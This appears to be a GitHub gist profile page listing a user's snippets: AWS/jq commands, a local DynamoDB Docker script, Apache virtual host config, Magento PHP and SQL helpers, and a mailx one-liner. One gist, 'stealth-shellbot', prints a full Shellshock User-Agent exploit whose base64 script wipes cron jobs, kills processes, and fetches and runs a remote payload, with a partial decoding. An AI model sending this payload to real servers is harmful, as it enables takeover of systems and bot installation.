Skip to content

Instantly share code, notes, and snippets.

View bkozora's full-sized avatar

Bobby Kozora bkozora

  • Philly
View GitHub Profile
@bkozora
bkozora / bash_aws_jq_cheatsheet.sh
Created March 3, 2021 02:23 — forked from lukeplausin/bash_aws_jq_cheatsheet.sh
AWS, JQ and bash command cheat sheet. How to query, cut and munge things in JSON generally.
# Count total EBS based storage in AWS
aws ec2 describe-volumes | jq "[.Volumes[].Size] | add"
# Count total EBS storage with a tag filter
aws ec2 describe-volumes --filters "Name=tag:Name,Values=CloudEndure Volume qjenc" | jq "[.Volumes[].Size] | add"
# Describe instances concisely
aws ec2 describe-instances | jq '[.Reservations | .[] | .Instances | .[] | {InstanceId: .InstanceId, State: .State, SubnetId: .SubnetId, VpcId: .VpcId, Name: (.Tags[]|select(.Key=="Name")|.Value)}]'
# Wait until $instance_id is running and then immediately stop it again
aws ec2 wait instance-running --instance-id $instance_id && aws ec2 stop-instances --instance-id $instance_id
# Get 10th instance in the account
@bkozora
bkozora / dynamoContainer.sh
Created May 24, 2018 15:14
Launches a Docker container for local DynamoDB
#!/bin/bash
##
# yanked from https://github.com/dwmkerr/docker-dynamodb
##
LOCAL_DATA_VOLUME=/private/var/dynamoDB
CONTAINER_DATA_VOLUME=/data
LOCAL_PORT=8000
CONTAINER_PORT=8000
@bkozora
bkozora / stealth-shellbot
Created February 8, 2017 18:04
Shellshock IRC Server Exploit
UA:'() { :;};/usr/bin/perl -e 'print "Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!";system("echo Y3JvbnRhYiAtcg0Ka2lsbGFsbCAtOSBwZXJsDQpraWxsYWxsIC05IHBocA0KY2QgL3RtcC8NCm1rZGlyIGJhc2guNS40LjMNCmNkIGJhc2guNS40LjMNCndnZXQgaHR0cDovL2lwLmFkZHJlc3MuaW0ubm90LmdpdmluZy9iYXNoLjQuMy4xDQpsd3AtZG93bmxvYWQgaHR0cDovL2lwLmFkZHJlc3MuaW0ubm90LmdpdmluZy9iYXNoLjQuMy4xDQpjdXJsIC1PIGh0dHA6Ly9pcC5hZGRyZXNzLmltLm5vdC5naXZpbmcvYmFzaC40LjMuMQ0KcGVybCBiYXNoLjQuMy4xDQpybSAtcmYgL3RtcC9iYXNoLjUuNC4zDQo= | base64 -d > /tmp/bash-5-1-1 ; sh /tmp/bash-5-1-1");''
The base64 decodes to the following:
crontab -r
killall -9 perl
killall -9 php
cd /tmp/
mkdir bash.5.4.3
cd bash.5.4.3
@bkozora
bkozora / regex-split-hostname-tld.txt
Created September 28, 2016 19:55
Split hostname from top level domain
/([a-z]{1,})(\.)([a-z.]{1,})/g
@bkozora
bkozora / vhosts-via-VirtualDocumentRoot.conf
Last active January 24, 2019 11:20
Apache - Dynamic Subdomains Using VirtualDocumentRoot
#
# Wildcard VirtualHost Example Using VirtualDocumentRoot
#
# Almost any Apache directive may go into a VirtualHost container.
# This we know from the Apache documentation posted everywhere.
# However, a hidden gem within that documentation is that we can use
# regular expressions to match parts of the requested domain to paths
# on our filesystem by using %1 and other variations.
#
# To use this, all we have to do is create cooresponding directories,
@bkozora
bkozora / magento-retrieve-db-info.php
Created April 13, 2016 12:31
Magento - Retrieve DB Info from local.xml
<?php
// Bootstrap Magento
require_once("../www/app/Mage.php");
$app = Mage::app('default');
// Grab our database config info
$config = Mage::getConfig()->getResourceConnectionConfig("default_setup");
// Connect to our RDS MySQL instance
<?php
// Bootstrap Magento
require_once("../www/app/Mage.php");
$app = Mage::app('default');
// Grab our database config info
$config = Mage::getConfig()->getResourceConnectionConfig("default_setup");
// Connect to our RDS MySQL instance
@bkozora
bkozora / Magento-active-product-descriptions.sql
Created April 12, 2016 13:14
Returns Descriptions for all active Magento products
SELECT
e.entity_id,
e.sku,
eav.value AS 'description',
IF(at_status.value_id > 0,
at_status.value,
at_status_default.value) AS `status`
FROM
catalog_product_entity e
JOIN
@bkozora
bkozora / magento-backtrace.php
Created April 6, 2016 20:47
Display Magento Backtrace
<?php
Mage::log(Varien_Debug::backtrace(true, true), null, 'backtrace.log');
@bkozora
bkozora / email-file.sh
Created April 6, 2016 19:40
Email File as Attachment from Command Line
( cat file.txt; ux2dos file.txt | uuencode file.txt file.txt ) | mailx -m -s "subject" -r email@address email@address